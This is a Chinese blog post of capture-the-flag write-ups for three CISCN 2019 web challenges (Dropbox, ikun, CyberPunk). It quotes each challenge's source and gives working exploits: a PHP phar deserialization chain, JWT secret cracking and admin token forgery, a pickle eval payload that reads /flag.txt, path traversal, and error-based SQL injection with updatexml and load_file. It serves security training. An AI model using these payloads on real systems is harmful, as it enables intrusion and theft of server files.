江鸟's Blog

CISCN2019 华北赛区 buu复现笔记

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字数统计: 5.4k阅读时长: 29 min
2020/04/03 Share

CISCN2019 华北赛区

Day1 Web1-Dropbox

在download.php下下载到源码，filename=../../download.php，需要返回两级是因为一般下载目录都不是根目录，具体往下几级就fuzz就好了，不会太多的。

download.php

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<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

index.php

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<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

看到有序列化内容，肯定要看看class.php

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<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

因为有提示是phar，所以直接放弃看sql部分，解题的最后一部分应该是调用File类中的close方法来读取文件，所以可以修改一下这个FIle类的属性为flag，调用File的地方就在前面的FileList的__construct方法，所以建立一个FileList就可以了，但是没有调用close方法，寻找一下在User进行了调用，所以我们建立一个User并把FileList赋值给db就可以了

大致的构造链

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User->db->FileList->File->close

这里没有传值的地方所以我们用phar，payload

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<?php
// add object of any class as meta data
class User
{
    public $db;
}
class FileList
{
    private $files;
    public function __construct()
    {
        $this->files=array(new File());
    }
}
class File
{
    public $filename='/flag.txt';
}

$b=new FileList();
$c=new User();
$c->db=$b;

// create new Phar
$phar = new Phar('jn.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c);
$phar->stopBuffering();
?>

最后把后缀修改一下上传，然后去delete.php删除就可以完成构造了，因为delete.php有单独构造File类。

Day1 Web2 ikun

先注册登陆一个账号，登陆后发现cookie里有一个jwt，之后会用到

拿到题目先观察一遍，发现了image-20200409204453325

以及后面的购买，应该是需要购买v6，但是翻了几页发现这里的产品非常多，所以写一个脚本来查找v6

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import requests
url = 'http://9eb91dcd-dacb-416e-bcef-f3537050360d.node3.buuoj.cn/shop?page='
for i in range(1,2000):
    # print(i)
    res = requests.get(url+str(i), timeout=(3, 7))
    if 'lv6.png' in res.text:
        print("这里："+str(i))
        break

最后在181页找到了，点击buy，就发送到了购物车，但是这个价格我们买不起，直接修改价格是不可行的，但是我们可以修改折扣力度。

image-20200409204948930

返回

image-20200409212351735

这时候想到一开始看到的jwtcookie，所以先来爆破一下密钥

使用这个脚本https://github.com/brendan-rius/c-jwt-cracker，git clone之后make一下就好了

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./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.B-OZYHuG5HRg_eOm_FujDz6VVR6xpA1ENW4jZ5D4qxo

得到密钥1Kun

再使用jwt解密加密脚本，如下

jwt解密

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import jwt

# 将上面生成的 jwt 进行解析认证

jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.B-OZYHuG5HRg_eOm_FujDz6VVR6xpA1ENW4jZ5D4qxo"
token = '1Kun'
data = None
try:
    #           需要解析的 jwt        密钥                使用和加密时相同的算法
    data = jwt.decode(jwt_token, token, algorithms=['HS256'])
except Exception as e:
    # 如果 jwt 被篡改过; 或者算法不正确; 如果设置有效时间, 过了有效期; 或者密钥不相同; 都会抛出相应的异常
    print(e)

# 解析出来的就是 payload 内的数据
print(data)

jwt加密

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import time
import jwt

# payload
token_dict = {
    # 'iat': time.time(),  # 时间戳
    'username': 'admin'  # 自定义的参数
}
"""payload 中一些固定参数名称的意义, 同时可以在payload中自定义参数"""
# iss  【issuer】发布者的url地址
# sub 【subject】该JWT所面向的用户，用于处理特定应用，不是常用的字段
# aud 【audience】接受者的url地址
# exp 【expiration】 该jwt销毁的时间；unix时间戳
# nbf  【not before】 该jwt的使用时间不能早于该时间；unix时间戳
# iat   【issued at】 该jwt的发布时间；unix 时间戳
# jti    【JWT ID】 该jwt的唯一ID编号

# headers
headers = {
    'alg': "HS256",  # 声明所使用的算法
}

"""headers 中一些固定参数名称的意义"""
# jku: 发送JWK的地址；最好用HTTPS来传输
# jwk: 就是之前说的JWK
# kid: jwk的ID编号
# x5u: 指向一组X509公共证书的URL
# x5c: X509证书链
# x5t：X509证书的SHA-1指纹
# x5t#S256: X509证书的SHA-256指纹
# typ: 在原本未加密的JWT的基础上增加了 JOSE 和 JOSE+ JSON。JOSE序列化后文会说及。适用于JOSE标头的对象与此JWT混合的情况。
# crit: 字符串数组，包含声明的名称，用作实现定义的扩展，必须由 this->JWT的解析器处理。不常见。

# 调用jwt库,生成json web token
jwt_token = jwt.encode(token_dict,  # payload, 有效载体
                       "1Kun",  # 进行加密签名的密钥
                       algorithm="HS256",  # 指明签名算法方式, 默认也是HS256
                       headers=headers  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                       ).decode('ascii')  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str

print(jwt_token)

加密完之后替换cookie，就进入admin页面了。

查看源代码发现有源码给，下载下来审计

在views/Admin.py内存在反序列化

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import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become') ##这里就是获取点
            p = pickle.loads(urllib.unquote(become)) ##这里是反序列化点
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

非常的明了，我们传参数become为一个反序列化值就好了

payload

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import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)

这里为什么要使用eval为什么不用os.system是因为源文件没有引用执行不了

点击一键成为大会员，然后抓包，修改become的值

image-20200409213611749

就可以反序列化成功拿到flag了。

Day1 Web5 CyberPunk

源码

源代码提示，直接伪协议读取

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<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
        <h2>2077发售了,不来份实体典藏版吗?</h2>
        <img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
        <div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <h3>提交订单</h3>
                <form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    <h3>地址:</h3>
                    <input type="text" class="subscribe-input" name="address">
                    </p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">我正是送钱之人</button>
                </form>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <h2 class="mb">订单管理</h2>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->

Confirm.php

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<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>确认订单</title>
<base href="./">
<meta charset="utf-8"/>

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
        <img class="logo" src="./assets/img/logo-zh.png">
        <div class="row">
            <div class="col-md-8 col-md-offset-2 centered">
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
                <a href="./index.php">
                <button class='btn btn-lg  btn-sub btn-white'>返回</button>
                </a>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

Search.php

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<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>搜索</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
		<div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>订单查询</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">查询订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a> 
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>    
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

Change.php

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<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收货地址</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
		<div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>修改收货地址</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    <h3>地址:</h3>
                    <input type="text" class="subscribe-input" name="address">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">修改订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

Delete.php

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<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>删除订单</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
		<div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>删除订单</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">删除订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>
<div id="f">
    <div class="container">
		<div class="row">
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

Config.php

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<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

    "host" => "127.0.0.1",
    "username" => "root",
    "password" => "root",
    "dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

解题过程

在看完了源码之后想到应该是sql注入，看Confirm.php中的插入语句可以发现防护还是比较严格的，绕过比较难，但是只有对于user_name和phone的过滤，address并没有过滤可以插入。但是这里不构成sql注入，因为使用了bind_param进行插入数据。参考链接：bind_param防止sql注入

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if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }

这时候我们 需要另外的地方来实现我们的注入，在fuzz的时候我发现如果在首页地址处插入了'，在修改地址处就会出现报错，所以应该是一个报错注入，报错注入可以移步:
sql报错注入：extractvalue、updatexml 仔细查看Change.php后发现问题所在：

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$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

这个是修改的语句，会读取出原先输入的地址，单引号闭合就产生了注入。所以我们构造语句为

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1' where `user_id` = updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#

因为这个注入的特殊性，完成一次注入之后先删除订单，再来重新创建订单就好了

大致的方法如下：创建订单->地址改成payload->修改订单地址随便填->完成注入->删除订单

flag其实不在数据库中，在/flag.txt中，最终的读取：

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1' where `user_id` = updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

1' where `user_id` = updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),21,50)),0x7e),1)#

原文作者：JiangNiao

原文链接：https://github.com/Jiang-Niao/Jiang-Niao.github.io/2020/04/03/CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BAbuu%E5%A4%8D%E7%8E%B0%E7%AC%94%E8%AE%B0/

发表日期：April 3rd 2020, 4:27:20 pm

更新日期：April 16th 2020, 11:19:23 am

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

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